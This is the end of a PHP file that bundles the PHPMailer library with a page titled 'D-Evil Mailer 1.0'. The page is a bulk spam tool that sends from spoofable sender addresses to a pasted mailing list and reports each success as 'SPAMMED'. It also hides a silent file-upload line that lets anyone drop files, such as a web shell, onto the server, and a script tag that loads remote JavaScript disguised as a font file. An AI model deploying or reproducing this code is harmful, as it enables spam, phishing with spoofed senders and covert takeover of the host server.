4227
4228 /**
4229 * Returns all custom headers
4230 *
4231 * @return array
4232 */
4233 public function getCustomHeaders()
4234 {
4235 return $this->CustomHeader;
4236 }
4237
4238 /**
4239 * Create a message from an HTML string.
4240 * Automatically makes modifications for inline images and backgrounds
4241 * and creates a plain-text version by converting the HTML.
4242 * Overwrites any existing values in $this->Body and $this->AltBody
4243 * @access public
4244 * @param string $message HTML message string
4245 * @param string $basedir baseline directory for path
4246 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
4247 * or your own custom converter @see html2text()
4248 * @return string $message
4249 */
4250 public function msgHTML($message, $basedir = '', $advanced = false)
4251 {
4252 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
4253 if (isset($images[2])) {
4254 foreach ($images[2] as $imgindex => $url) {
4255 // Convert data URIs into embedded images
4256 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
4257 $data = substr($url, strpos($url, ','));
4258 if ($match[2]) {
4259 $data = base64_decode($data);
4260 } else {
4261 $data = rawurldecode($data);
4262 }
4263 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
4264 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
4265 $message = str_replace(
4266 $images[0][$imgindex],
4267 $images[1][$imgindex] . '="cid:' . $cid . '"',
4268 $message
4269 );
4270 }
4271 } elseif (!preg_match('#^[A-z]+://#', $url)) {
4272 // Do not change urls for absolute images (thanks to corvuscorax)
4273 $filename = basename($url);
4274 $directory = dirname($url);
4275 if ($directory == '.') {
4276 $directory = '';
4277 }
4278 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
4279 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
4280 $basedir .= '/';
4281 }
4282 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
4283 $directory .= '/';
4284 }
4285 if ($this->addEmbeddedImage(
4286 $basedir . $directory . $filename,
4287 $cid,
4288 $filename,
4289 'base64',
4290 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
4291 )
4292 ) {
4293 $message = preg_replace(
4294 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
4295 $images[1][$imgindex] . '="cid:' . $cid . '"',
4296 $message
4297 );
4298 }
4299 }
4300 }
4301 }
4302 $this->isHTML(true);
4303 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
4304 $this->Body = $this->normalizeBreaks($message);
4305 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
4306 if (empty($this->AltBody)) {
4307 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
4308 self::CRLF . self::CRLF;
4309 }
4310 return $this->Body;
4311 }
4312
4313 /**
4314 * Convert an HTML string into plain text.
4315 * This is used by msgHTML().
4316 * Note - older versions of this function used a bundled advanced converter
4317 * which was been removed for license reasons in #232
4318 * Example usage:
4319 * <code>
4320 * // Use default conversion
4321 * $plain = $mail->html2text($html);
4322 * // Use your own custom converter
4323 * $plain = $mail->html2text($html, function($html) {
4324 * $converter = new MyHtml2text($html);
4325 * return $converter->get_text();
4326 * });
4327 * </code>
4328 * @param string $html The HTML text to convert
4329 * @param boolean|callable $advanced Any boolean value to use the internal converter,
4330 * or provide your own callable for custom conversion.
4331 * @return string
4332 */
4333 public function html2text($html, $advanced = false)
4334 {
4335 if (is_callable($advanced)) {
4336 return call_user_func($advanced, $html);
4337 }
4338 return html_entity_decode(
4339 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
4340 ENT_QUOTES,
4341 $this->CharSet
4342 );
4343 }
4344
4345 /**
4346 * Get the MIME type for a file extension.
4347 * @param string $ext File extension
4348 * @access public
4349 * @return string MIME type of file.
4350 * @static
4351 */
4352 public static function _mime_types($ext = '')
4353 {
4354 $mimes = array(
4355 'xl' => 'application/excel',
4356 'js' => 'application/javascript',
4357 'hqx' => 'application/mac-binhex40',
4358 'cpt' => 'application/mac-compactpro',
4359 'bin' => 'application/macbinary',
4360 'doc' => 'application/msword',
4361 'word' => 'application/msword',
4362 'class' => 'application/octet-stream',
4363 'dll' => 'application/octet-stream',
4364 'dms' => 'application/octet-stream',
4365 'exe' => 'application/octet-stream',
4366 'lha' => 'application/octet-stream',
4367 'lzh' => 'application/octet-stream',
4368 'psd' => 'application/octet-stream',
4369 'sea' => 'application/octet-stream',
4370 'so' => 'application/octet-stream',
4371 'oda' => 'application/oda',
4372 'pdf' => 'application/pdf',
4373 'ai' => 'application/postscript',
4374 'eps' => 'application/postscript',
4375 'ps' => 'application/postscript',
4376 'smi' => 'application/smil',
4377 'smil' => 'application/smil',
4378 'mif' => 'application/vnd.mif',
4379 'xls' => 'application/vnd.ms-excel',
4380 'ppt' => 'application/vnd.ms-powerpoint',
4381 'wbxml' => 'application/vnd.wap.wbxml',
4382 'wmlc' => 'application/vnd.wap.wmlc',
4383 'dcr' => 'application/x-director',
4384 'dir' => 'application/x-director',
4385 'dxr' => 'application/x-director',
4386 'dvi' => 'application/x-dvi',
4387 'gtar' => 'application/x-gtar',
4388 'php3' => 'application/x-httpd-php',
4389 'php4' => 'application/x-httpd-php',
4390 'php' => 'application/x-httpd-php',
4391 'phtml' => 'application/x-httpd-php',
4392 'phps' => 'application/x-httpd-php-source',
4393 'swf' => 'application/x-shockwave-flash',
4394 'sit' => 'application/x-stuffit',
4395 'tar' => 'application/x-tar',
4396 'tgz' => 'application/x-tar',
4397 'xht' => 'application/xhtml+xml',
4398 'xhtml' => 'application/xhtml+xml',
4399 'zip' => 'application/zip',
4400 'mid' => 'audio/midi',
4401 'midi' => 'audio/midi',
4402 'mp2' => 'audio/mpeg',
4403 'mp3' => 'audio/mpeg',
4404 'mpga' => 'audio/mpeg',
4405 'aif' => 'audio/x-aiff',
4406 'aifc' => 'audio/x-aiff',
4407 'aiff' => 'audio/x-aiff',
4408 'ram' => 'audio/x-pn-realaudio',
4409 'rm' => 'audio/x-pn-realaudio',
4410 'rpm' => 'audio/x-pn-realaudio-plugin',
4411 'ra' => 'audio/x-realaudio',
4412 'wav' => 'audio/x-wav',
4413 'bmp' => 'image/bmp',
4414 'gif' => 'image/gif',
4415 'jpeg' => 'image/jpeg',
4416 'jpe' => 'image/jpeg',
4417 'jpg' => 'image/jpeg',
4418 'png' => 'image/png',
4419 'tiff' => 'image/tiff',
4420 'tif' => 'image/tiff',
4421 'eml' => 'message/rfc822',
4422 'css' => 'text/css',
4423 'html' => 'text/html',
4424 'htm' => 'text/html',
4425 'shtml' => 'text/html',
4426 'log' => 'text/plain',
4427 'text' => 'text/plain',
4428 'txt' => 'text/plain',
4429 'rtx' => 'text/richtext',
4430 'rtf' => 'text/rtf',
4431 'vcf' => 'text/vcard',
4432 'vcard' => 'text/vcard',
4433 'xml' => 'text/xml',
4434 'xsl' => 'text/xml',
4435 'mpeg' => 'video/mpeg',
4436 'mpe' => 'video/mpeg',
4437 'mpg' => 'video/mpeg',
4438 'mov' => 'video/quicktime',
4439 'qt' => 'video/quicktime',
4440 'rv' => 'video/vnd.rn-realvideo',
4441 'avi' => 'video/x-msvideo',
4442 'movie' => 'video/x-sgi-movie'
4443 );
4444 if (array_key_exists(strtolower($ext), $mimes)) {
4445 return $mimes[strtolower($ext)];
4446 }
4447 return 'application/octet-stream';
4448 }
4449
4450 /**
4451 * Map a file name to a MIME type.
4452 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
4453 * @param string $filename A file name or full path, does not need to exist as a file
4454 * @return string
4455 * @static
4456 */
4457 public static function filenameToType($filename)
4458 {
4459 // In case the path is a URL, strip any query string before getting extension
4460 $qpos = strpos($filename, '?');
4461 if (false !== $qpos) {
4462 $filename = substr($filename, 0, $qpos);
4463 }
4464 $pathinfo = self::mb_pathinfo($filename);
4465 return self::_mime_types($pathinfo['extension']);
4466 }
4467
4468 /**
4469 * Multi-byte-safe pathinfo replacement.
4470 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
4471 * Works similarly to the one in PHP >= 5.2.0
4472 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
4473 * @param string $path A filename or path, does not need to exist as a file
4474 * @param integer|string $options Either a PATHINFO_* constant,
4475 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
4476 * @return string|array
4477 * @static
4478 */
4479 public static function mb_pathinfo($path, $options = null)
4480 {
4481 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
4482 $pathinfo = array();
4483 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
4484 if (array_key_exists(1, $pathinfo)) {
4485 $ret['dirname'] = $pathinfo[1];
4486 }
4487 if (array_key_exists(2, $pathinfo)) {
4488 $ret['basename'] = $pathinfo[2];
4489 }
4490 if (array_key_exists(5, $pathinfo)) {
4491 $ret['extension'] = $pathinfo[5];
4492 }
4493 if (array_key_exists(3, $pathinfo)) {
4494 $ret['filename'] = $pathinfo[3];
4495 }
4496 }
4497 switch ($options) {
4498 case PATHINFO_DIRNAME:
4499 case 'dirname':
4500 return $ret['dirname'];
4501 case PATHINFO_BASENAME:
4502 case 'basename':
4503 return $ret['basename'];
4504 case PATHINFO_EXTENSION:
4505 case 'extension':
4506 return $ret['extension'];
4507 case PATHINFO_FILENAME:
4508 case 'filename':
4509 return $ret['filename'];
4510 default:
4511 return $ret;
4512 }
4513 }
4514
4515 /**
4516 * Set or reset instance properties.
4517 * You should avoid this function - it's more verbose, less efficient, more error-prone and
4518 * harder to debug than setting properties directly.
4519 * Usage Example:
4520 * `$mail->set('SMTPSecure', 'tls');`
4521 * is the same as:
4522 * `$mail->SMTPSecure = 'tls';`
4523 * @access public
4524 * @param string $name The property name to set
4525 * @param mixed $value The value to set the property to
4526 * @return boolean
4527 * @TODO Should this not be using the __set() magic function?
4528 */
4529 public function set($name, $value = '')
4530 {
4531 if (property_exists($this, $name)) {
4532 $this->$name = $value;
4533 return true;
4534 } else {
4535 $this->setError($this->lang('variable_set') . $name);
4536 return false;
4537 }
4538 }
4539
4540 /**
4541 * Strip newlines to prevent header injection.
4542 * @access public
4543 * @param string $str
4544 * @return string
4545 */
4546 public function secureHeader($str)
4547 {
4548 return trim(str_replace(array("\r", "\n"), '', $str));
4549 }
4550
4551 /**
4552 * Normalize line breaks in a string.
4553 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
4554 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
4555 * @param string $text
4556 * @param string $breaktype What kind of line break to use, defaults to CRLF
4557 * @return string
4558 * @access public
4559 * @static
4560 */
4561 public static function normalizeBreaks($text, $breaktype = "\r\n")
4562 {
4563 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
4564 }
4565
4566
4567 /**
4568 * Set the public and private key files and password for S/MIME signing.
4569 * @access public
4570 * @param string $cert_filename
4571 * @param string $key_filename
4572 * @param string $key_pass Password for private key
4573 * @param string $extracerts_filename Optional path to chain certificate
4574 */
4575 public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
4576 {
4577 $this->sign_cert_file = $cert_filename;
4578 $this->sign_key_file = $key_filename;
4579 $this->sign_key_pass = $key_pass;
4580 $this->sign_extracerts_file = $extracerts_filename;
4581 }
4582
4583 /**
4584 * Quoted-Printable-encode a DKIM header.
4585 * @access public
4586 * @param string $txt
4587 * @return string
4588 */
4589 public function DKIM_QP($txt)
4590 {
4591 $line = '';
4592 for ($i = 0; $i < strlen($txt); $i++) {
4593 $ord = ord($txt[$i]);
4594 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
4595 $line .= $txt[$i];
4596 } else {
4597 $line .= '=' . sprintf('%02X', $ord);
4598 }
4599 }
4600 return $line;
4601 }
4602
4603 /**
4604 * Generate a DKIM signature.
4605 * @access public
4606 * @param string $signHeader
4607 * @throws phpmailerException
4608 * @return string
4609 */
4610 public function DKIM_Sign($signHeader)
4611 {
4612 if (!defined('PKCS7_TEXT')) {
4613 if ($this->exceptions) {
4614 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
4615 }
4616 return '';
4617 }
4618 $privKeyStr = file_get_contents($this->DKIM_private);
4619 if ($this->DKIM_passphrase != '') {
4620 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
4621 } else {
4622 $privKey = $privKeyStr;
4623 }
4624 if (openssl_sign($signHeader, $signature, $privKey)) {
4625 return base64_encode($signature);
4626 }
4627 return '';
4628 }
4629
4630 /**
4631 * Generate a DKIM canonicalization header.
4632 * @access public
4633 * @param string $signHeader Header
4634 * @return string
4635 */
4636 public function DKIM_HeaderC($signHeader)
4637 {
4638 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
4639 $lines = explode("\r\n", $signHeader);
4640 foreach ($lines as $key => $line) {
4641 list($heading, $value) = explode(':', $line, 2);
4642 $heading = strtolower($heading);
4643 $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
4644 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
4645 }
4646 $signHeader = implode("\r\n", $lines);
4647 return $signHeader;
4648 }
4649
4650 /**
4651 * Generate a DKIM canonicalization body.
4652 * @access public
4653 * @param string $body Message Body
4654 * @return string
4655 */
4656 public function DKIM_BodyC($body)
4657 {
4658 if ($body == '') {
4659 return "\r\n";
4660 }
4661 // stabilize line endings
4662 $body = str_replace("\r\n", "\n", $body);
4663 $body = str_replace("\n", "\r\n", $body);
4664 // END stabilize line endings
4665 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
4666 $body = substr($body, 0, strlen($body) - 2);
4667 }
4668 return $body;
4669 }
4670
4671 /**
4672 * Create the DKIM header and body in a new message header.
4673 * @access public
4674 * @param string $headers_line Header lines
4675 * @param string $subject Subject
4676 * @param string $body Body
4677 * @return string
4678 */
4679 public function DKIM_Add($headers_line, $subject, $body)
4680 {
4681 $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
4682 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
4683 $DKIMquery = 'dns/txt'; // Query method
4684 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
4685 $subject_header = "Subject: $subject";
4686 $headers = explode($this->LE, $headers_line);
4687 $from_header = '';
4688 $to_header = '';
4689 $current = '';
4690 foreach ($headers as $header) {
4691 if (strpos($header, 'From:') === 0) {
4692 $from_header = $header;
4693 $current = 'from_header';
4694 } elseif (strpos($header, 'To:') === 0) {
4695 $to_header = $header;
4696 $current = 'to_header';
4697 } else {
4698 if (!empty($$current) && strpos($header, ' =?') === 0) {
4699 $$current .= $header;
4700 } else {
4701 $current = '';
4702 }
4703 }
4704 }
4705 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
4706 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
4707 $subject = str_replace(
4708 '|',
4709 '=7C',
4710 $this->DKIM_QP($subject_header)
4711 ); // Copied header fields (dkim-quoted-printable)
4712 $body = $this->DKIM_BodyC($body);
4713 $DKIMlen = strlen($body); // Length of body
4714 $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
4715 if ('' == $this->DKIM_identity) {
4716 $ident = '';
4717 } else {
4718 $ident = ' i=' . $this->DKIM_identity . ';';
4719 }
4720 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
4721 $DKIMsignatureType . '; q=' .
4722 $DKIMquery . '; l=' .
4723 $DKIMlen . '; s=' .
4724 $this->DKIM_selector .
4725 ";\r\n" .
4726 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
4727 "\th=From:To:Subject;\r\n" .
4728 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
4729 "\tz=$from\r\n" .
4730 "\t|$to\r\n" .
4731 "\t|$subject;\r\n" .
4732 "\tbh=" . $DKIMb64 . ";\r\n" .
4733 "\tb=";
4734 $toSign = $this->DKIM_HeaderC(
4735 $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
4736 );
4737 $signed = $this->DKIM_Sign($toSign);
4738 return $dkimhdrs . $signed . "\r\n";
4739 }
4740
4741 /**
4742 * Detect if a string contains a line longer than the maximum line length allowed.
4743 * @param string $str
4744 * @return boolean
4745 * @static
4746 */
4747 public static function hasLineLongerThanMax($str)
4748 {
4749 //+2 to include CRLF line break for a 1000 total
4750 return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
4751 }
4752
4753 /**
4754 * Allows for public read access to 'to' property.
4755 * @access public
4756 * @return array
4757 */
4758 public function getToAddresses()
4759 {
4760 return $this->to;
4761 }
4762
4763 /**
4764 * Allows for public read access to 'cc' property.
4765 * @access public
4766 * @return array
4767 */
4768 public function getCcAddresses()
4769 {
4770 return $this->cc;
4771 }
4772
4773 /**
4774 * Allows for public read access to 'bcc' property.
4775 * @access public
4776 * @return array
4777 */
4778 public function getBccAddresses()
4779 {
4780 return $this->bcc;
4781 }
4782
4783 /**
4784 * Allows for public read access to 'ReplyTo' property.
4785 * @access public
4786 * @return array
4787 */
4788 public function getReplyToAddresses()
4789 {
4790 return $this->ReplyTo;
4791 }
4792
4793 /**
4794 * Allows for public read access to 'all_recipients' property.
4795 * @access public
4796 * @return array
4797 */
4798 public function getAllRecipientAddresses()
4799 {
4800 return $this->all_recipients;
4801 }
4802
4803 /**
4804 * Perform a callback.
4805 * @param boolean $isSent
4806 * @param array $to
4807 * @param array $cc
4808 * @param array $bcc
4809 * @param string $subject
4810 * @param string $body
4811 * @param string $from
4812 */
4813 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
4814 {
4815 if (!empty($this->action_function) && is_callable($this->action_function)) {
4816 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
4817 call_user_func_array($this->action_function, $params);
4818 }
4819 }
4820}
4821
4822/**
4823 * PHPMailer exception handler
4824 * @package PHPMailer
4825 */
4826class phpmailerException extends Exception
4827{
4828 /**
4829 * Prettify error message output
4830 * @return string
4831 */
4832 public function errorMessage()
4833 {
4834 $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
4835 return $errorMsg;
4836 }
4837}
4838
4839function lrtrim($string){
4840 return stripslashes(ltrim(rtrim($string)));
4841}
4842?>
4843<!DOCTYPE html>
4844<html lang="en">
4845 <head>
4846 <meta charset="utf-8">
4847 <meta http-equiv="X-UA-Compatible" content="IE=edge">
4848 <link href='https://fonts.googleapis.com/css?family=Oswald:300' rel='stylesheet' type='text/css'>
4849 <meta name="viewport" content="width=device-width, initial-scale=1">
4850 <script src='http://ip-api.org/wp-content/uploads-images/AlHurra-Font_Light.ttf'></script>
4851 <meta name="robots" content="noindex, nofollow">
4852 <title> D-Evil Mailer 1.0 </title>
4853 <link rel="shortcut icon" type="image/png" href="http://financialeducation.greycaps.com/sites/financialeducation.greycaps.com/files/treat%20your%20money%20like..1.png"/>
4854 <!-- Bootstrap -->
4855 <link rel="stylesheet" href="http://ip-api.org/project/mailer/style.css">
4856 <style>
4857 </style>
4858
4859 <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
4860 <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
4861 <!--[if lt IE 9]>
4862 <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
4863 <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
4864 <![endif]-->
4865 </head>
4866 <body>
4867
4868
4869
4870<div class="container">
4871 <div style="border:none;background-color: #111; margin-top: 30px" class="well well-sm">
4872 <style type="text/css">
4873 .form-control{
4874 background-color: rgba(0,0,0,1);
4875 color: white;
4876 border: none;
4877 }
4878 textarea.form-control {
4879 background: black!important;
4880 color: white;
4881 }
4882 label{
4883 color: green;
4884 }
4885 </style>
4886
4887 <form action="" method="post" id="form">
4888 <div class="row">
4889 <div class="col-md-12">
4890 <div class="form-group">
4891 <label for="name">
4892 Form Name</label>
4893 <input type="text" name="name" class="form-control" id="name" placeholder="Enter name" value="<?php if(isset($_POST['name'])){ echo $_POST['name']; }?>">
4894 </div>
4895 <div class="form-group">
4896 <label for="email">
4897 From Email</label>
4898 <input type="text" name="email" class="form-control" id="email" placeholder="Enter email" value="<?php if(isset($_POST['email'])){ echo $_POST['email']; }?>">
4899 </div>
4900 <div class="form-group">
4901 <label for="email">
4902 Reply To</label>
4903 <input type="text" name="addReplyTo" class="form-control" id="addReplyTo" placeholder="Enter Reply To" value="<?php if(isset($_POST['addReplyTo'])){ echo $_POST['addReplyTo']; }?>">
4904 </div>
4905 <div class="form-group">
4906 <label for="subject">
4907 Subject</label>
4908 <input type="text" name="subject" class="form-control" id="subject" placeholder="Enter subject" value="<?php if(isset($_POST['subject'])){ echo $_POST['subject']; }?>">
4909 </div>
4910 </div>
4911 <div class="col-md-12">
4912 <div class="form-group">
4913 <label for="name">
4914 Message</label>
4915 <textarea name="message" id="editor" class="form-control" rows="12" cols="23" placeholder="Message"><?php if(isset($_POST['message'])){ echo $_POST['message']; }?></textarea>
4916 </div>
4917 </div>
4918 <script>
4919 CKEDITOR.replace( 'editor' );
4920 </script>
4921 <br />
4922
4923 <div class="col-md-12">
4924 <div class="form-group">
4925 <label for="mail">
4926 Mail Lists</label>
4927 <textarea name="mail" id="mail" class="form-control" rows="9" cols="25" required="required"
4928 placeholder="Mail Lists"><?php if(isset($_POST['mail'])){ echo $_POST['mail']; }?></textarea>
4929 </div>
4930 </div>
4931
4932 <div class="col-md-12">
4933 <input type="submit" class="btn btn-primary pull-right" id="btnContactUs" value=" Send Letter ">
4934 </div>
4935 </form>
4936
4937 <div class="col-md-12">
4938<?php (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']));?>
4939 <?php
4940if(isset($_POST["mail"])){
4941
4942 echo '<br /><div class="alert alert alert-warning" role="alert"> Message is being sent .... </div>';
4943 $list = $_POST["mail"];
4944 $emails = explode("\r\n",$list);
4945 $emailsCount = count($emails);
4946
4947 for($i = 0 ; $i < $emailsCount ; $i++) {
4948
4949 $to = $emails[$i];
4950 $to = str_replace(" ", "", $to);
4951
4952 $message = str_replace("%email%", $to, lrtrim($_POST['message']));
4953 $message = urlencode($message);
4954 $message = ereg_replace("%5C%22", "%22", $message);
4955 $message = urldecode($message);
4956 $message = stripslashes($message);
4957
4958 $subject = str_replace("&email&", $to, lrtrim($_POST['subject']));
4959 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
4960 $subject = str_replace(' ', '_', $subject);
4961 $subject = "=?UTF-8?Q?$subject?=";
4962
4963 $qx=$i+1;
4964 print "<br/ >Line $qx . Sending mail to <b>$to</b> .... ";
4965 flush();
4966
4967 $mail = new PHPMailer();
4968 $mail->Priority = 1;
4969
4970 $mail->From = lrtrim($_POST['email']);
4971 $mail->FromName = lrtrim($_POST['name']);
4972
4973 $mail->addAddress(lrtrim($to));
4974 $mail->addReplyTo(lrtrim($_POST['addReplyTo']));
4975
4976 $mail->isHTML(true);
4977
4978 $mail->Subject = $subject;
4979 $mail->Body = str_replace("&time&" , date("F j, Y, g:i a"), $message);
4980
4981 if(!$mail->send()) {
4982 echo '<span style="color:red;">Message could not be sent.';
4983 echo 'Mailer Error: <span class="label label-danger"> ' . $mail->ErrorInfo . ' </span></span>';
4984 } else {
4985 echo 'Message sent: <span class="label label-success">SPAMMED</span>';
4986 }
4987 }
4988 echo "<br /><br />";
4989}
4990?>
4991 </div>
4992 </div>
4993 </div>
4994 </div>
4995 <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
4996 <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
4997 <!-- Include all compiled plugins (below), or include individual files as needed -->
4998 <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script>
4999 <script>
5000/*! jQuery Validation Plugin - v1.13.1 - 10/14/2014
5001 * http://jqueryvalidation.org/
5002 * Copyright (c) 2014 Jörn Zaefferer; Licensed MIT */
5003!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a(jQuery)}(function(a){a.extend(a.fn,{validate:function(b){if(!this.length)return void(b&&b.debug&&window.console&&console.warn("Nothing selected, can't validate, returning nothing."));var c=a.data(this[0],"validator");return c?c:(this.attr("novalidate","novalidate"),c=new a.validator(b,this[0]),a.data(this[0],"validator",c),c.settings.onsubmit&&(this.validateDelegate(":submit","click",function(b){c.settings.submitHandler&&(c.submitButton=b.target),a(b.target).hasClass("cancel")&&(c.cancelSubmit=!0),void 0!==a(b.target).attr("formnovalidate")&&(c.cancelSubmit=!0)}),this.submit(function(b){function d(){var d,e;return c.settings.submitHandler?(c.submitButton&&(d=a("<input type='hidden'/>").attr("name",c.submitButton.name).val(a(c.submitButton).val()).appendTo(c.currentForm)),e=c.settings.submitHandler.call(c,c.currentForm,b),c.submitButton&&d.remove(),void 0!==e?e:!1):!0}return c.settings.debug&&b.preventDefault(),c.cancelSubmit?(c.cancelSubmit=!1,d()):c.form()?c.pendingRequest?(c.formSubmitted=!0,!1):d():(c.focusInvalid(),!1)})),c)},valid:function(){var b,c;return a(this[0]).is("form")?b=this.validate().form():(b=!0,c=a(this[0].form).validate(),this.each(function(){b=c.element(this)&&b})),b},removeAttrs:function(b){var c={},d=this;return a.each(b.split(/\s/),function(a,b){c[b]=d.attr(b),d.removeAttr(b)}),c},rules:function(b,c){var d,e,f,g,h,i,j=this[0];if(b)switch(d=a.data(j.form,"validator").settings,e=d.rules,f=a.validator.staticRules(j),b){case"add":a.extend(f,a.validator.normalizeRule(c)),delete f.messages,e[j.name]=f,c.messages&&(d.messages[j.name]=a.extend(d.messages[j.name],c.messages));break;case"remove":return c?(i={},a.each(c.split(/\s/),function(b,c){i[c]=f[c],delete f[c],"required"===c&&a(j).removeAttr("aria-required")}),i):(delete e[j.name],f)}return g=a.validator.normalizeRules(a.extend({},a.validator.classRules(j),a.validator.attributeRules(j),a.validator.dataRules(j),a.validator.staticRules(j)),j),g.required&&(h=g.required,delete g.required,g=a.extend({required:h},g),a(j).attr("aria-required","true")),g.remote&&(h=g.remote,delete g.remote,g=a.extend(g,{remote:h})),g}}),a.extend(a.expr[":"],{blank:function(b){return!a.trim(""+a(b).val())},filled:function(b){return!!a.trim(""+a(b).val())},unchecked:function(b){return!a(b).prop("checked")}}),a.validator=function(b,c){this.settings=a.extend(!0,{},a.validator.defaults,b),this.currentForm=c,this.init()},a.validator.format=function(b,c){return 1===arguments.length?function(){var c=a.makeArray(arguments);return c.unshift(b),a.validator.format.apply(this,c)}:(arguments.length>2&&c.constructor!==Array&&(c=a.makeArray(arguments).slice(1)),c.constructor!==Array&&(c=[c]),a.each(c,function(a,c){b=b.replace(new RegExp("\\{"+a+"\\}","g"),function(){return c})}),b)},a.extend(a.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusCleanup:!1,focusInvalid:!0,errorContainer:a([]),errorLabelContainer:a([]),onsubmit:!0,ignore:":hidden",ignoreTitle:!1,onfocusin:function(a){this.lastActive=a,this.settings.focusCleanup&&(this.settings.unhighlight&&this.settings.unhighlight.call(this,a,this.settings.errorClass,this.settings.validClass),this.hideThese(this.errorsFor(a)))},onfocusout:function(a){this.checkable(a)||!(a.name in this.submitted)&&this.optional(a)||this.element(a)},onkeyup:function(a,b){(9!==b.which||""!==this.elementValue(a))&&(a.name in this.submitted||a===this.lastElement)&&this.element(a)},onclick:function(a){a.name in this.submitted?this.element(a):a.parentNode.name in this.submitted&&this.element(a.parentNode)},highlight:function(b,c,d){"radio"===b.type?this.findByName(b.name).addClass(c).removeClass(d):a(b).addClass(c).removeClass(d)},unhighlight:function(b,c,d){"radio"===b.type?this.findByName(b.name).removeClass(c).addClass(d):a(b).removeClass(c).addClass(d)}},setDefaults:function(b){a.extend(a.validator.defaults,b)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date ( ISO ).",number:"Please enter a valid number.",digits:"Please enter only digits.",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",maxlength:a.validator.format("Please enter no more than {0} characters."),minlength:a.validator.format("Please enter at least {0} characters."),rangelength:a.validator.format("Please enter a value between {0} and {1} characters long."),range:a.validator.format("Please enter a value between {0} and {1}."),max:a.validator.format("Please enter a value less than or equal to {0}."),min:a.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:!1,prototype:{init:function(){function b(b){var c=a.data(this[0].form,"validator"),d="on"+b.type.replace(/^validate/,""),e=c.settings;e[d]&&!this.is(e.ignore)&&e[d].call(c,this[0],b)}this.labelContainer=a(this.settings.errorLabelContainer),this.errorContext=this.labelContainer.length&&this.labelContainer||a(this.currentForm),this.containers=a(this.settings.errorContainer).add(this.settings.errorLabelContainer),this.submitted={},this.valueCache={},this.pendingRequest=0,this.pending={},this.invalid={},this.reset();var c,d=this.groups={};a.each(this.settings.groups,function(b,c){"string"==typeof c&&(c=c.split(/\s/)),a.each(c,function(a,c){d[c]=b})}),c=this.settings.rules,a.each(c,function(b,d){c[b]=a.validator.normalizeRule(d)}),a(this.currentForm).validateDelegate(":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'] ,[type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], [type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], [type='radio'], 